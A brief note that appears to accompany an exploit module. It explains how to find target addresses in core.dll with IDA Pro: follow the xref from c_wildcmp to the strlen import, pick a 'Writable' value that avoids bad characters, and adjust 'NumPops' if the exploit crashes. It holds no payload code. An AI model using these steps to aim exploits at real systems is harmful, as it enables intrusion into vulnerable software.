NOTE: Even though all targets have the same addresses now, future targets may not.

To find a target:

1. open "core.dll" in IDA Pro
2. navigate to the "c_wildcmp" function
3. follow the xref to the first strlen
4. follow the xref to the imports area
5. copy/paste the address
6. the 'Writable' value should be anything after the last address IDA shows..
 (preferably something above 0x0d, to avoid bad chars)

If crashes occur referencing strange values, 'NumPops' probably needs adjusting.
For now, that will have to be done manually.
